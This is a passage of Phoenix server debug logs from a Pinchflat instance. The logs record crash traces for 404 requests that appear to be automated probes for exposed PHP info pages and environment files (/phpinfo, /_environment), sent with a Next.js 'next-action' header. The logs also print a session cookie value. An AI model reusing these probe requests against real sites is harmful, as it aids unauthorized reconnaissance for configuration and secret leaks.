PinchflatWeb.Router, :phoenix_router_url => "https://pinchflat.8layer8.com", :phoenix_request_logger => {"request_logger", "request_logger"} }, query_params: %{}, query_string: "", remote_ip: {10, 0, 1, 40}, req_cookies: %{ "_pinchflat_key" => "SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYRlVCdUpZd0I0TnBhcFdzdDRpNkZwNlZj.F9eQJ-GZUvBHQeafjyhta6FewNdZfBffz5paE5tx2F0" }, req_headers: [ {"accept", "*/*"}, {"accept-encoding", "gzip, deflate"}, {"cookie", "_pinchflat_key=SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYRlVCdUpZd0I0TnBhcFdzdDRpNkZwNlZj.F9eQJ-GZUvBHQeafjyhta6FewNdZfBffz5paE5tx2F0"}, {"host", "pinchflat.8layer8.com"}, {"next-action", "x"}, {"user-agent", "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/131.0.0.0 Safari/537.36"}, {"x-forwarded-for", "10.0.0.2"}, {"x-forwarded-host", "pinchflat.8layer8.com"}, {"x-forwarded-port", "443"}, {"x-forwarded-proto", "https"}, {"x-forwarded-server", "24de652d339a"}, {"x-nextjs-request-id", "3157cf75"}, {"x-real-ip", "10.0.0.2"} ], request_path: "/phpversion.php", resp_body: nil, resp_cookies: %{}, resp_headers: [ {"cache-control", "max-age=0, private, must-revalidate"}, {"x-request-id", "GKFsXtQ0uSZe0-gABWyB"} ], scheme: :http, script_name: [], secret_key_base: :..., state: :unset, status: nil }, router: PinchflatWeb.Router }, status: 404, stack: [ {PinchflatWeb.Router, :call, 2, [file: ~c"deps/phoenix/lib/phoenix/router.ex", line: 541]}, {PinchflatWeb.Endpoint, :plug_builder_call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {PinchflatWeb.Endpoint, :call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {Plug.Cowboy.Handler, :init, 2, [file: ~c"lib/plug/cowboy/handler.ex", line: 11]}, {:cowboy_handler, :execute, 2, [file: ~c"/app/deps/cowboy/src/cowboy_handler.erl", line: 37]}, {:cowboy_stream_h, :execute, 3, [file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 310]}, {:cowboy_stream_h, :request_process, 3, [file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 299]}, {:proc_lib, :init_p_do_apply, 3, [file: ~c"proc_lib.erl", line: 329]} ], kind: :error, conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.11765.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/phpversion.php", host: "pinchflat.8layer8.com", peer: {{10, 0, 1, 40}, 34438}, bindings: %{}, sock: {{10, 0, 1, 49}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "accept-encoding" => "gzip, deflate", "cookie" => "_pinchflat_key=SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYRlVCdUpZd0I0TnBhcFdzdDRpNkZwNlZj.F9eQJ-GZUvBHQeafjyhta6FewNdZfBffz5paE5tx2F0", "host" => "pinchflat.8layer8.com", "next-action" => "x", "user-agent" => "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/131.0.0.0 Safari/537.36", "x-forwarded-for" => "10.0.0.2", "x-forwarded-host" => "pinchflat.8layer8.com", "x-forwarded-port" => "443", "x-forwarded-proto" => "https", "x-forwarded-server" => "24de652d339a", "x-nextjs-request-id" => "3157cf75", "x-real-ip" => "10.0.0.2" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", has_body: false, streamid: 95, host_info: :undefined }}, assigns: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for GET /phpversion (PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.11765.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/phpversion.php", host: "pinchflat.8layer8.com", peer: {{10, 0, 1, 40}, 34438}, bindings: %{}, sock: {{10, 0, 1, 49}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "accept-encoding" => "gzip, deflate", "cookie" => "_pinchflat_key=SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYRlVCdUpZd0I0TnBhcFdzdDRpNkZwNlZj.F9eQJ-GZUvBHQeafjyhta6FewNdZfBffz5paE5tx2F0", "host" => "pinchflat.8layer8.com", "next-action" => "x", "user-agent" => "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/131.0.0.0 Safari/537.36", "x-forwarded-for" => "10.0.0.2", "x-forwarded-host" => "pinchflat.8layer8.com", "x-forwarded-port" => "443", "x-forwarded-proto" => "https", "x-forwarded-server" => "24de652d339a", "x-nextjs-request-id" => "3157cf75", "x-real-ip" => "10.0.0.2" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", has_body: false, streamid: 95, host_info: :undefined }}, assigns: %{}, (truncated) 17:14:42.964 [info] GET /old_phpinfo.php 17:14:42.964 [debug] QUERY OK source="settings" db=0.1ms idle=519.6ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 17:14:42.964 [debug] QUERY OK source="settings" db=0.0ms idle=519.6ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 17:14:42.964 [debug] Converted error Phoenix.Router.NoRouteError to 404 response 17:14:42.965 [error] #PID<0.11864.0> running PinchflatWeb.Endpoint (connection #PID<0.11765.0>, stream id 96) terminated Server: pinchflat.8layer8.com:80 (http) Request: GET /old_phpinfo.php ** (exit) an exception was raised: ** (KeyError) key :flash not found in: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for GET /old_phpinfo (PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.11765.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/old_phpinfo.php", host: "pinchflat.8layer8.com", peer: {{10, 0, 1, 40}, 34438}, bindings: %{}, sock: {{10, 0, 1, 49}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "accept-encoding" => "gzip, deflate", "cookie" => "_pinchflat_key=SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYRlVCdUpZd0I0TnBhcFdzdDRpNkZwNlZj.F9eQJ-GZUvBHQeafjyhta6FewNdZfBffz5paE5tx2F0", "host" => "pinchflat.8layer8.com", "next-action" => "x", "user-agent" => "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/131.0.0.0 Safari/537.36", "x-forwarded-for" => "10.0.0.2", "x-forwarded-host" => "pinchflat.8layer8.com", "x-forwarded-port" => "443", "x-forwarded-proto" => "https", "x-forwarded-server" => "24de652d339a", "x-nextjs-request-id" => "3157cf75", "x-real-ip" => "10.0.0.2" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", has_body: false, streamid: 96, host_info: :undefined }}, assigns: %{}, body_params: %{}, cookies: %{ "_pinchflat_key" => "SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYRlVCdUpZd0I0TnBhcFdzdDRpNkZwNlZj.F9eQJ-GZUvBHQeafjyhta6FewNdZfBffz5paE5tx2F0" }, halted: false, host: "pinchflat.8layer8.com", method: "GET", owner: #PID<0.11864.0>, params: %{}, path_info: ["old_phpinfo"], path_params: %{}, port: 80, private: %{ PinchflatWeb.Router => [], :plug_session_fetch => #Function<1.49469887/1 in Plug.Session.fetch_session/1>, :before_send => [#Function<0.106864063/1 in Plug.Telemetry.call/2>], :phoenix_endpoint => PinchflatWeb.Endpoint, :phoenix_router => PinchflatWeb.Router, :phoenix_router_url => "https://pinchflat.8layer8.com", :phoenix_request_logger => {"request_logger", "request_logger"} }, query_params: %{}, query_string: "", remote_ip: {10, 0, 1, 40}, req_cookies: %{ "_pinchflat_key" => "SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYRlVCdUpZd0I0TnBhcFdzdDRpNkZwNlZj.F9eQJ-GZUvBHQeafjyhta6FewNdZfBffz5paE5tx2F0" }, req_headers: [ {"accept", "*/*"}, {"accept-encoding", "gzip, deflate"}, {"cookie", "_pinchflat_key=SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYRlVCdUpZd0I0TnBhcFdzdDRpNkZwNlZj.F9eQJ-GZUvBHQeafjyhta6FewNdZfBffz5paE5tx2F0"}, {"host", "pinchflat.8layer8.com"}, {"next-action", "x"}, {"user-agent", "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/131.0.0.0 Safari/537.36"}, {"x-forwarded-for", "10.0.0.2"}, {"x-forwarded-host", "pinchflat.8layer8.com"}, {"x-forwarded-port", "443"}, {"x-forwarded-proto", "https"}, {"x-forwarded-server", "24de652d339a"}, {"x-nextjs-request-id", "3157cf75"}, {"x-real-ip", "10.0.0.2"} ], request_path: "/old_phpinfo.php", resp_body: nil, resp_cookies: %{}, resp_headers: [ {"cache-control", "max-age=0, private, must-revalidate"}, {"x-request-id", "GKFsXuO8E_hulYAABW0B"} ], scheme: :http, script_name: [], secret_key_base: :..., state: :unset, status: nil }, router: PinchflatWeb.Router }, status: 404, stack: [ {PinchflatWeb.Router, :call, 2, [file: ~c"deps/phoenix/lib/phoenix/router.ex", line: 541]}, {PinchflatWeb.Endpoint, :plug_builder_call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {PinchflatWeb.Endpoint, :call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {Plug.Cowboy.Handler, :init, 2, [file: ~c"lib/plug/cowboy/handler.ex", line: 11]}, {:cowboy_handler, :execute, 2, [file: ~c"/app/deps/cowboy/src/cowboy_handler.erl", line: 37]}, {:cowboy_stream_h, :execute, 3, [file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 310]}, {:cowboy_stream_h, :request_process, 3, [file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 299]}, {:proc_lib, :init_p_do_apply, 3, [file: ~c"proc_lib.erl", line: 329]} ], kind: :error, conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.11765.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/old_phpinfo.php", host: "pinchflat.8layer8.com", peer: {{10, 0, 1, 40}, 34438}, bindings: %{}, sock: {{10, 0, 1, 49}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "accept-encoding" => "gzip, deflate", "cookie" => "_pinchflat_key=SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYRlVCdUpZd0I0TnBhcFdzdDRpNkZwNlZj.F9eQJ-GZUvBHQeafjyhta6FewNdZfBffz5paE5tx2F0", "host" => "pinchflat.8layer8.com", "next-action" => "x", "user-agent" => "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/131.0.0.0 Safari/537.36", "x-forwarded-for" => "10.0.0.2", "x-forwarded-host" => "pinchflat.8layer8.com", "x-forwarded-port" => "443", "x-forwarded-proto" => "https", "x-forwarded-server" => "24de652d339a", "x-nextjs-request-id" => "3157cf75", "x-real-ip" => "10.0.0.2" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", has_body: false, streamid: 96, host_info: :undefined }}, assigns: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for GET /old_phpinfo (PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.11765.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/old_phpinfo.php", host: "pinchflat.8layer8.com", peer: {{10, 0, 1, 40}, 34438}, bindings: %{}, sock: {{10, 0, 1, 49}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "accept-encoding" => "gzip, deflate", "cookie" => "_pinchflat_key=SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYRlVCdUpZd0I0TnBhcFdzdDRpNkZwNlZj.F9eQJ-GZUvBHQeafjyhta6FewNdZfBffz5paE5tx2F0", "host" => "pinchflat.8layer8.com", "next-action" => "x", "user-agent" => "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/131.0.0.0 Safari/537.36", "x-forwarded-for" => "10.0.0.2", "x-forwarded-host" => "pinchflat.8layer8.com", "x-forwarded-port" => "443", "x-forwarded-proto" => "https", "x-forwarded-server" => "24de652d339a", "x-nextjs-request-id" => "3157cf75", "x-real-ip" => "10.0.0.2" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", has_body: false, streamid: 96, host_info: :undefined }}, assigns: %{} (truncated) 17:14:43.224 [info] GET /_profiler/phpinfo 17:14:43.225 [debug] QUERY OK source="settings" db=0.1ms idle=520.7ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 17:14:43.225 [debug] QUERY OK source="settings" db=0.0ms idle=520.8ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 17:14:43.225 [debug] Converted error Phoenix.Router.NoRouteError to 404 response 17:14:43.225 [error] #PID<0.11865.0> running PinchflatWeb.Endpoint (connection #PID<0.11765.0>, stream id 97) terminated Server: pinchflat.8layer8.com:80 (http) Request: GET /_profiler/phpinfo ** (exit) an exception was raised: ** (KeyError) key :flash not found in: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for GET /_profiler/phpinfo (PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.11765.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/_profiler/phpinfo", host: "pinchflat.8layer8.com", peer: {{10, 0, 1, 40}, 34438}, bindings: %{}, sock: {{10, 0, 1, 49}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "accept-encoding" => "gzip, deflate", "cookie" => "_pinchflat_key=SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYRlVCdUpZd0I0TnBhcFdzdDRpNkZwNlZj.F9eQJ-GZUvBHQeafjyhta6FewNdZfBffz5paE5tx2F0", "host" => "pinchflat.8layer8.com", "next-action" => "x", "user-agent" => "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/131.0.0.0 Safari/537.36", "x-forwarded-for" => "10.0.0.2", "x-forwarded-host" => "pinchflat.8layer8.com", "x-forwarded-port" => "443", "x-forwarded-proto" => "https", "x-forwarded-server" => "24de652d339a", "x-nextjs-request-id" => "3157cf75", "x-real-ip" => "10.0.0.2" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", has_body: false, streamid: 97, host_info: :undefined }}, assigns: %{}, body_params: %{}, cookies: %{ "_pinchflat_key" => "SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYRlVCdUpZd0I0TnBhcFdzdDRpNkZwNlZj.F9eQJ-GZUvBHQeafjyhta6FewNdZfBffz5paE5tx2F0" }, halted: false, host: "pinchflat.8layer8.com", method: "GET", owner: #PID<0.11865.0>, params: %{}, path_info: ["_profiler", "phpinfo"], path_params: %{}, port: 80, private: %{ PinchflatWeb.Router => [], :plug_session_fetch => #Function<1.49469887/1 in Plug.Session.fetch_session/1>, :before_send => [#Function<0.106864063/1 in Plug.Telemetry.call/2>], :phoenix_endpoint => PinchflatWeb.Endpoint, :phoenix_router => PinchflatWeb.Router, :phoenix_router_url => "https://pinchflat.8layer8.com", :phoenix_request_logger => {"request_logger", "request_logger"} }, query_params: %{}, query_string: "", remote_ip: {10, 0, 1, 40}, req_cookies: %{ "_pinchflat_key" => "SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYRlVCdUpZd0I0TnBhcFdzdDRpNkZwNlZj.F9eQJ-GZUvBHQeafjyhta6FewNdZfBffz5paE5tx2F0" }, req_headers: [ {"accept", "*/*"}, {"accept-encoding", "gzip, deflate"}, {"cookie", "_pinchflat_key=SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYRlVCdUpZd0I0TnBhcFdzdDRpNkZwNlZj.F9eQJ-GZUvBHQeafjyhta6FewNdZfBffz5paE5tx2F0"}, {"host", "pinchflat.8layer8.com"}, {"next-action", "x"}, {"user-agent", "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/131.0.0.0 Safari/537.36"}, {"x-forwarded-for", "10.0.0.2"}, {"x-forwarded-host", "pinchflat.8layer8.com"}, {"x-forwarded-port", "443"}, {"x-forwarded-proto", "https"}, {"x-forwarded-server", "24de652d339a"}, {"x-nextjs-request-id", "3157cf75"}, {"x-real-ip", "10.0.0.2"} ], request_path: "/_profiler/phpinfo", resp_body: nil, resp_cookies: %{}, resp_headers: [ {"cache-control", "max-age=0, private, must-revalidate"}, {"x-request-id", "GKFsXvNBdzmHhksABW2B"} ], scheme: :http, script_name: [], secret_key_base: :..., state: :unset, status: nil }, router: PinchflatWeb.Router }, status: 404, stack: [ {PinchflatWeb.Router, :call, 2, [file: ~c"deps/phoenix/lib/phoenix/router.ex", line: 541]}, {PinchflatWeb.Endpoint, :plug_builder_call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {PinchflatWeb.Endpoint, :call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {Plug.Cowboy.Handler, :init, 2, [file: ~c"lib/plug/cowboy/handler.ex", line: 11]}, {:cowboy_handler, :execute, 2, [file: ~c"/app/deps/cowboy/src/cowboy_handler.erl", line: 37]}, {:cowboy_stream_h, :execute, 3, [file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 310]}, {:cowboy_stream_h, :request_process, 3, [file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 299]}, {:proc_lib, :init_p_do_apply, 3, [file: ~c"proc_lib.erl", line: 329]} ], kind: :error, conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.11765.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/_profiler/phpinfo", host: "pinchflat.8layer8.com", peer: {{10, 0, 1, 40}, 34438}, bindings: %{}, sock: {{10, 0, 1, 49}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "accept-encoding" => "gzip, deflate", "cookie" => "_pinchflat_key=SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYRlVCdUpZd0I0TnBhcFdzdDRpNkZwNlZj.F9eQJ-GZUvBHQeafjyhta6FewNdZfBffz5paE5tx2F0", "host" => "pinchflat.8layer8.com", "next-action" => "x", "user-agent" => "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/131.0.0.0 Safari/537.36", "x-forwarded-for" => "10.0.0.2", "x-forwarded-host" => "pinchflat.8layer8.com", "x-forwarded-port" => "443", "x-forwarded-proto" => "https", "x-forwarded-server" => "24de652d339a", "x-nextjs-request-id" => "3157cf75", "x-real-ip" => "10.0.0.2" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", has_body: false, streamid: 97, host_info: :undefined }}, assigns: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for GET /_profiler/phpinfo (PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.11765.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/_profiler/phpinfo", host: "pinchflat.8layer8.com", peer: {{10, 0, 1, 40}, 34438}, bindings: %{}, sock: {{10, 0, 1, 49}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "accept-encoding" => "gzip, deflate", "cookie" => "_pinchflat_key=SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYRlVCdUpZd0I0TnBhcFdzdDRpNkZwNlZj.F9eQJ-GZUvBHQeafjyhta6FewNdZfBffz5paE5tx2F0", "host" => "pinchflat.8layer8.com", "next-action" => "x", "user-agent" => "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/131.0.0.0 Safari/537.36", "x-forwarded-for" => "10.0.0.2", "x-forwarded-host" => "pinchflat.8layer8.com", "x-forwarded-port" => "443", "x-forwarded-proto" => "https", "x-forwarded-server" => "24de652d339a", "x-nextjs-request-id" => "3157cf75", "x-real-ip" => "10.0.0.2" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", has_body: false, streamid: 97, host_info: :undefined (truncated) 17:14:43.484 [info] GET /_environment 17:14:43.485 [debug] QUERY OK source="settings" db=0.1ms idle=541.9ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 17:14:43.485 [debug] QUERY OK source="settings" db=0.0ms idle=520.8ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 17:14:43.485 [debug] Converted error Phoenix.Router.NoRouteError to 404 response 17:14:43.486 [error] #PID<0.11866.0> running PinchflatWeb.Endpoint (connection #PID<0.11765.0>, stream id 98) terminated Server: pinchflat.8layer8.com:80 (http) Request: GET /_environment ** (exit) an exception was raised: ** (KeyError) key :flash not found in: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for GET /_environment (PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.11765.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/_environment", host: "pinchflat.8layer8.com", peer: {{10, 0, 1, 40}, 34438}, bindings: %{}, sock: {{10, 0, 1, 49}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "accept-encoding" => "gzip, deflate", "cookie" => "_pinchflat_key=SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYRlVCdUpZd0I0TnBhcFdzdDRpNkZwNlZj.F9eQJ-GZUvBHQeafjyhta6FewNdZfBffz5paE5tx2F0", "host" => "pinchflat.8layer8.com", "next-action" => "x", "user-agent" => "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/131.0.0.0 Safari/537.36", "x-forwarded-for" => "10.0.0.2", "x-forwarded-host" => "pinchflat.8layer8.com", "x-forwarded-port" => "443", "x-forwarded-proto" => "https", "x-forwarded-server" => "24de652d339a", "x-nextjs-request-id" => "3157cf75", "x-real-ip" => "10.0.0.2" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", has_body: false, streamid: 98, host_info: :undefined }}, assigns: %{}, body_params: %{}, cookies: %{ "_pinchflat_key" => "SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYRlVCdUpZd0I0TnBhcFdzdDRpNkZwNlZj.F9eQJ-GZUvBHQeafjyhta6FewNdZfBffz5paE5tx2F0" }, halted: false, host: "pinchflat.8layer8.com", method: "GET", owner: #PID<0.11866.0>, params: %{}, path_info: ["_environment"], path_params: %{}, port: 80, private: %{ PinchflatWeb.Router => [], :plug_session_fetch => #Function<1.49469887/1 in Plug.Session.fetch_session/1>, :before_send => [#Function<0.106864063/1 in Plug.Telemetry.call/2>], :phoenix_endpoint => PinchflatWeb.Endpoint, :phoenix_router => PinchflatWeb.Router, :phoenix_router_url => "https://pinchflat.8layer8.com", :phoenix_request_logger => {"request_logger", "request_logger"} }, query_params: %{}, query_string: "", remote_ip: {10, 0, 1, 40}, req_cookies: %{ "_pinchflat_key" => "SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYRlVCdUpZd0I0TnBhcFdzdDRpNkZwNlZj.F9eQJ-GZUvBHQeafjyhta6FewNdZfBffz5paE5tx2F0" }, req_headers: [ {"accept", "*/*"}, {"accept-encoding", "gzip, deflate"}, {"cookie", "_pinchflat_key=SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYRlVCdUpZd0I0TnBhcFdzdDRpNkZwNlZj.F9eQJ-GZUvBHQeafjyhta6FewNdZfBffz5paE5tx2F0"}, {"host", "pinchflat.8layer8.com"}, {"next-action", "x"}, {"user-agent", "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/131.0.0.0 Safari/537.36"}, {"x-forwarded-for", "10.0.0.2"}, {"x-forwarded-host", "pinchflat.8layer8.com"}, {"x-forwarded-port", "443"}, {"x-forwarded-proto", "https"}, {"x-forwarded-server", "24de652d339a"}, {"x-nextjs-request-id", "3157cf75"}, {"x-real-ip", "10.0.0.2"} ], request_path: "/_environment", resp_body: nil, resp_cookies: %{}, resp_headers: [ {"cache-control", "max-age=0, private, must-revalidate"}, {"x-request-id", "GKFsXwLENSECDqMABW4B"} ], scheme: :http, script_name: [], secret_key_base: :..., state: :unset, status: nil }, router: PinchflatWeb.Router }, status: 404, stack: [ {PinchflatWeb.Router, :call, 2, [file: ~c"deps/phoenix/lib/phoenix/router.ex", line: 541]}, {PinchflatWeb.Endpoint, :plug_builder_call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {PinchflatWeb.Endpoint, :call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {Plug.Cowboy.Handler, :init, 2, [file: ~c"lib/plug/cowboy/handler.ex", line: 11]}, {:cowboy_handler, :execute, 2, [file: ~c"/app/deps/cowboy/src/cowboy_handler.erl", line: 37]}, {:cowboy_stream_h, :execute, 3, [file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 310]}, {:cowboy_stream_h, :request_process, 3, [file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 299]}, {:proc_lib, :init_p_do_apply, 3, [file: ~c"proc_lib.erl", line: 329]} ], kind: :error, conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.11765.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/_environment", host: "pinchflat.8layer8.com", peer: {{10, 0, 1, 40}, 34438}, bindings: %{}, sock: {{10, 0, 1, 49}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "accept-encoding" => "gzip, deflate", "cookie" => "_pinchflat_key=SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYRlVCdUpZd0I0TnBhcFdzdDRpNkZwNlZj.F9eQJ-GZUvBHQeafjyhta6FewNdZfBffz5paE5tx2F0", "host" => "pinchflat.8layer8.com", "next-action" => "x", "user-agent" => "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/131.0.0.0 Safari/537.36", "x-forwarded-for" => "10.0.0.2", "x-forwarded-host" => "pinchflat.8layer8.com", "x-forwarded-port" => "443", "x-forwarded-proto" => "https", "x-forwarded-server" => "24de652d339a", "x-nextjs-request-id" => "3157cf75", "x-real-ip" => "10.0.0.2" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", has_body: false, streamid: 98, host_info: :undefined }}, assigns: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for GET /_environment (PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.11765.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/_environment", host: "pinchflat.8layer8.com", peer: {{10, 0, 1, 40}, 34438}, bindings: %{}, sock: {{10, 0, 1, 49}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: 